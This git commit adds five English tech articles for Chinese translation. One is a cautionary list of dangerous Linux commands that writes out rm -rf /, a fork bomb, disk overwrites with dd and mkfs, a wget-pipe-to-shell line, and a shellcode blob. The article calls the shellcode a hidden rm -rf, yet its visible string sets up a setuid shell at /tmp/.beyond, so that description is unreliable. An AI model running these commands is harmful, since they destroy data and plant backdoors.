20131125-2 选题

This commit is contained in:
DeadFire 2013-11-25 15:36:07 +08:00
parent a0233fd50d
commit a8f9ef96e0
5 changed files with 389 additions and 0 deletions

View File

@ -0,0 +1,102 @@
10 Most Dangerous Commands You Should Never Execute on Linux
================================================================================
Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of **Linux** or **Linux command** line. We just want to make you aware of some of the commands which you should think twice before you execute them.
![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png)
### 1. rm -rf Command ###
The **rm -rf** command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with **rm command** are.
- **rm** command in Linux is used to delete files.
- **rm -r** command deletes the folder recursively, even the empty folder.
- **rm -f** command removes Read only File without asking.
- **rm -rf /** : Force deletion of everything in root directory.
- **rm -rf ** * : Force deletion of everything in current directory/working directory.
- **rm -rf .** : Force deletion of current folder and sub folders.
Hence, be careful when you are executing **rm -rf** command. To overcome accidental delete of file by **rm** command, create an alias of **rm** command as **rm -i** in “**.bashrc**” file, it will ask you to confirm every deletion.
### 2. :(){:|:&};: Command ###
The above is actually a **fork bomb**. It operates by defining a function called :, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.
:(){:|:&};:
### 3. command > /dev/sda ###
The above command writes the output of **command** on the block **/dev/sda**. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.
### 4. mv folder /dev/null ###
The above command will move **folder** to **/dev/null**. In Linux **/dev/null** or **null** device is a special file that discards all the data written to it and reports that write operation succeed.
# mv /home/user/* /dev/null
The above command will move all the contents of a **User** directory to **/dev/null**, which literally means everything there was sent to **blackhole (null)**.
### 5. wget http://malicious_source -O- | sh ###
The above command will download a script from a malicious source and then execute it. Wget command will download the script and **sh** will execute the downloaded script.
**Note**: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.
### 6. mkfs.ext3 /dev/sda ###
The above command will format the block **sda** and you would surely be knowing that after execution of the above command your Block (**Hard Disk Drive**) would be new, **BRAND NEW!** Without any data, leaving your system into unrecoverable stage.
### 7. > file ###
The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> **xt.conf**” will write the configuration file or any other system or configuration file.
### 8. ^foo^bar ###
This command, as described in our [10 Lesser Known Linux Commands][1], is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didnt took the risk of thoroughly checking the change in original command using **^foo^bar** command.
### 9. dd if=/dev/random of=/dev/sda ###
The above command will wipe out the block **sda** and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.
### 10. Hidden the Command ###
The below command is nothing but the first command above (**rm -rf**). Here the codes are hidden in **hex** so that an ignorant user may be fooled. Running the below code in your terminal will wipe your **root** partition.
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Dont compile/run codes from an unknown source.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
**Note**: Dont execute any of the above command in your **Linux** terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the **Author** of the article nor **Tecmint** is responsible.
Thats all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to **Tecmint**. If you know any other such **Dangerous Linux Commands** and you would like us to add to the list, please tell us via comment section and dont forgot to give your value-able feedback.
--------------------------------------------------------------------------------
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
[2]:
[3]:
[4]:
[5]:
[6]:
[7]:
[8]:
[9]:
[10]:
[11]:
[12]:

View File

@ -0,0 +1,164 @@
Basic Linux Interview Questions and Answers Part II
================================================================================
Continuing the Interview Series, we are giving 10 Questions here, in this article. These questions and the questions in the future articles doesnt necessarily means they were asked in any interview. We are presenting you an interactive learning platform through these kind of posts, which surely will be helpful.
![](http://www.tecmint.com/wp-content/uploads/2013/11/Basic-Interview-Questions-2.png)
Upon the analysis of comments in different forums on last article [11 Basic Linux Interview Questions][1] of this series, it is important to mention here that to bring up a quality article to our readers. We give our time and money, and in return what we expect from you? Nothing. If you cant praise our work, please dont demoralize us from your negative comments.
If you find nothing new in a post, dont forget that for someone it was helpful, and for that he/she was thankful. We cant make everyone happy in each of our article. Hope you readers would take pain to understand this.
### Q.1: Which command is used to record a user login session in a file? ###
- macro
- read
- script
- record
- sessionrecord
> **Answer** : The script command is used to record a users login session in a file. Script command can be implemented in a shell script or can directly be used in terminal. Here is an example which records everything between script and exit.
Lets record the users login session with script command as shown.
[root@tecmint ~]# script my-session-record.txt
Script started, file is my-session-record.txt
The content of log file my-session-record.txt can be views as:
[root@tecmint ~]# nano my-session-record.txt
script started on Friday 22 November 2013 08:19:01 PM IST
[root@tecmint ~]# ls
^[[0m^[[01;34mBinary^[[0m ^[[01;34mDocuments^[[0m ^[[01;34mMusic^[[0m $
^[[01;34mDesktop^[[0m ^[[01;34mDownloads^[[0m my-session-record.txt ^[[01;34$
### Q.2: The kernel log message can be viewed using which of the following command? ###
- dmesg
- kernel
- ls -i
- uname
- None of the above
> **Answer** : The kernel log message can be viewed by executing 'dmesg' command. In the list kernel is not a valid Linux command, 'ls -i' lists the file with inode within the working directory and 'uname' command shows os.
[root@tecmint ~]# dmesg
Initializing cgroup subsys cpuset
Initializing cgroup subsys cpu
Linux version 2.6.32-279.el6.i686 (mockbuild@c6b9.bsys.dev.centos.org) (gcc version 4.4.6 20120305 (Red Hat 4.4.6-4) (GCC) ) #1 SMP Fri Jun 22 10:59:55 UTC 2012
KERNEL supported cpus:
Intel GenuineIntel
AMD AuthenticAMD
NSC Geode by NSC
Cyrix CyrixInstead
Centaur CentaurHauls
Transmeta GenuineTMx86
Transmeta TransmetaCPU
UMC UMC UMC UMC
Disabled fast string operations
BIOS-provided physical RAM map:
...
### Q.3: Which command is used to display the release of Linux Kernel? ###
- uname -v
- uname -r
- uname -m
- uname -n
- uname -o
> **Answer** : The command uname -r display the kernel release information. The switch -v , -m , -n , o display kernel version, machine hardware name, network node, hostname and operating system, respectively.
[root@tecmint ~]# uname -r
2.6.32-279.el6.i686
### Q.4: Which command is used to identify the types of file? ###
- type
- info
- file
- which
- ls
> **Answer** : The file command is used to identify the types of file. The syntax is file [option] File_name.
[root@tecmint ~]# file wtop
wtop: POSIX shell script text executable
### Q.5: Which command locate the binary, source and man page of a command? ###
> **Answer** : The whereis command comes to rescue here. The whereis command locate the binary, source, and manual page files for a command.
[root@tecmint ~]# whereis /usr/bin/ftp
ftp: /usr/bin/ftp /usr/share/man/man1/ftp.1.gz
### Q.6: When a user login, which files are called for user profile, by default?? ###
> **Answer** : The .profile and .bashrc present under home directory are called for user profile by default.
[root@tecmint ~]# ls -al
-rw-r--r--. 1 tecmint tecmint 176 May 11 2012 .bash_profile
-rw-r--r--. 1 tecmint tecmint 124 May 11 2012 .bashrc
### ###Q.7: The resolve.conf file is a configuration file for?
> **Answer** : The /etc/resolve.conf is the configuration file for DNS at client side.
[root@tecmint ~]# cat /etc/resolv.conf
nameserver 172.16.16.94
### Q.8: Which command is used to create soft link of a file? ###
- ln
- ln -s
- link
- link -soft
- None of the above
> **Answer** : The ln -s command is used to create soft link of a file in Linux Environment.
[root@tecmint ~]# ln -s /etc/httpd/conf/httpd.conf httpd.original.conf
### Q.9: The command pwd is an alias of command passwd in Linux? ###
> **Answer** : No! The command pwd is not an alias of command passwd by default. pwd stands for print working directory, which shows current directory and passwd is used to change the password of user account in Linux.
[root@tecmint ~]# pwd
/home/tecmint
[root@tecmint ~]# passwd
Changing password for user root.
New password:
Retype new password:
### Q.10: How will you check pci devices vendor and version on a Linux? ###
> **Answer** : The Linux command lspci comes to rescue here.
[root@tecmint ~]# lspci
00:00.0 Host bridge: Intel Corporation 5000P Chipset Memory Controller Hub (rev b1)
00:02.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 2-3 (rev b1)
00:04.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 4-5 (rev b1)
00:06.0 PCI bridge: Intel Corporation 5000 Series Chipset PCI Express x8 Port 6-7 (rev b1)
00:08.0 System peripheral: Intel Corporation 5000 Series Chipset DMA Engine (rev b1)
...
Thats all for now. I hope these above questions might be very helpful to you. In our next weekend we again come-up with some new set of questions. Till then stay healthy, tuned and connected to Tecmint.
--------------------------------------------------------------------------------
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers-part-ii/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.tecmint.com/basic-linux-interview-questions-and-answers/

View File

@ -0,0 +1,49 @@
Daily Ubuntu Tips Print From Shared Windows Printers
================================================================================
For users with both Windows and Ubuntu machines and a single printer, this blog post is going to show you how to share a printer in Windows and allow Ubuntu machines to printer to it.
Almost all printers support Windows by default. Printer manufactures are building printers for Windows and not many are doing it for Linux systems, including Ubuntu. So, if you have a printer with full Windows support, you can share it from the Windows machine and allow other systems to print to it.
I ran into this problem few years go when most printers didnt support Linux systems. I had an older printer which was designed specifically for Windows and Mac OS X with no support for Linux.
I installed the printer driver on my Windows machine and it worked great. My Windows machine was printing just fine, but couldnt get the Ubuntu machine to because the printer didnt support LAN.
So, I shared the printer from Windows and my Ubuntu machine was printing properly with the correct fonts and style. If you find yourself in similar situation, follow the guide below to do the same.
First, logon to Windows and right-click the printer you wish to share and click **Printer properties**
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu.png)
Next, select the Sharing tab and check the Share this printer box to share the printer. Remember the shared name because youll connect using that shared name.
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu1.png)
Finally, open the commands prompt as administrator and run the commands below to enable file and printer sharing through the firewall.
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
Next, logon to Ubuntu and select the **gear** on the panel at the top right and select System **Settings…**
When System Settings opens, select Printers. The add a printer. When prompted to select a device, choose **Windows Printer via SAMBA**.
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu2.png)
Enter the Windows computer IP address or hostname followed by the printer shared name. You may also have to enter your windows account credentials (username and password). Click Browse to verify that you can see the printer and when youre done, click Forward to continue.
Next, select the printer brand and model. If you dont see the particular model, choose the next closest to it and continue.
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu3.png)
If everything is done correctly, you should have a printer installed and ready to use.
![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu4.png)
Enjoy!
--------------------------------------------------------------------------------
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,26 @@
New Ubuntu 14.04 LTS Icon Theme Uses Origami Concept
================================================================================
![](http://i1-news.softpedia-static.com/images/news2/New-Ubuntu-14-04-LTS-Icon-Theme-Uses-Origami-Concept-403061-2.png)
**Ubuntu 14.04 LTS has a good chance of getting a new icon theme, but there's one very interesting concept integrated in the design, and that is an origami motif.**
When designers begin to make original artwork for operating systems, they usually start from scratch or they integrate the current trend in their work. Ubuntu designers have managed to produce something unique, that doesnt follow the overall trend, and which is inspired by art.
In the Ubuntu 14.04 icon theme presentation showed during the Ubuntu Developer Summit, visual designer James Matthieu explained that they used an origami concept to illustrate various components.
“The default file shape represent a sheet of paper using the origami effect to maintain consistency with the style of some of the application icon,” [said][1] James Matthieu during the presentation.
This is not the first time that a folded corner is used for folders or files, but if you look close enough the folding mark of the “paper” is also present in the final form.
We hope that the new icon theme will make it because it looks awesome. You can see more details about the new icon in [our original report][2].
--------------------------------------------------------------------------------
via: http://news.softpedia.com/news/New-Ubuntu-14-04-LTS-Icon-Theme-Uses-Origami-Concept-403061.shtml
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.youtube.com/watch?v=0AEvSIX41lk&feature=share
[2]:http://news.softpedia.com/news/Ubuntu-14-04-LTS-to-Get-Stunning-Icon-Theme-and-They-re-Not-Flat-402712.shtml

View File

@ -0,0 +1,48 @@
Household Brands Interested In Ubuntu for Phones and Tablets, Says Shuttleworth
================================================================================
![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/02/tablet-hero.jpg)
**Mark Shuttleworth has said that an interesting set of household brands are looking at putting Ubuntu Touch on their own phones and tablets.**
The Ubuntu founder was speaking in the [keynote address][1] at the Ubuntu Developer Summit which kicked off this week.
No specific names, details or dates were offered up alongside the tantalising tidbit, though Mark did hint at one point that he expects Ubuntu Touch devices to be available to buy within the next couple of years.
### Ubuntu Tablets = Renewed Opportunity ###
[As mentioned by Jono Bacon recently][2], honing the Ubuntu Tablet experience will be the key focus of the Ubuntu 14.04 development cycle. This was touched upon by Shuttleworth in response to a question on whether Ubuntu plan to make dual-booting Touch with Android easier (they are):
> “Im excited about the tablet form-factor because I think its going to be a lot easier for people to enjoy Ubuntu on a tablet [because] doing it on a phone full time is a bit of a deep-device commitment [though] weve heard some interesting reports of government departments using it because we dont work for the NSA!”
Other notable points mentioned in the keynote included:
- Helping developers tailor Ubuntu Touch apps for the desktop
- Stable, dependable and performant desktop experience based on Unity 7
- Point releases of Ubuntu 14.04 LTS wont be introducing Mir or Unity 8
- Ubuntu on ARM x64
- Sidestage to be re-introduced to tablet
- Supporting Android apps on Ubuntu is a goal but not a focus right now
> Shuttleworth must be hoping that some of those interested household names make a firm commitment soon…
This latter point appears to represent an about-turn, if true. Earlier in the year Canonicals Richard Collins [told Engadget][1] that there were no plans to “engineer middleware for running Android apps [on Ubuntu Touch]“.
Android apps or not, Shuttleworth must be hoping that some of those interested household names make a firm commitment soon. The longer the gap the more ground competitors are gaining.
Samsung and Intels open-source mobile OS Tizen [recently gained the backing of a further 36 companies][4], including an array of mobile networks, electronics bigwigs and game publishers.
Elsewhere, Mozillas Firefox OS continues to grow its users, OEM and carrier base; while [Jollas first Sailfish OS-powered handset ships later this month][5]. And although Ubuntu Touch isnt aiming for the low-end segment, Android 4.4 debuted with a number of performance optimisations when used on hardware with limited resources.
--------------------------------------------------------------------------------
via: http://www.omgubuntu.co.uk/2013/11/household-brands-ubuntu-phone-tablets
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.youtube.com/watch?v=D4kHQeu4SJk
[2]:http://www.omgubuntu.co.uk/2013/11/ubuntu-tablet-will-key-focus-ubuntu-14-04-lts-cycle
[3]:http://www.engadget.com/2013/01/25/canonical-richard-collins-interview/
[4]:http://www.theverge.com/2013/11/12/5093588/tizen-open-operating-system-partners-with-36-companies
[5]:http://www.theregister.co.uk/2013/11/15/jolla_phones_to_ship_in_november/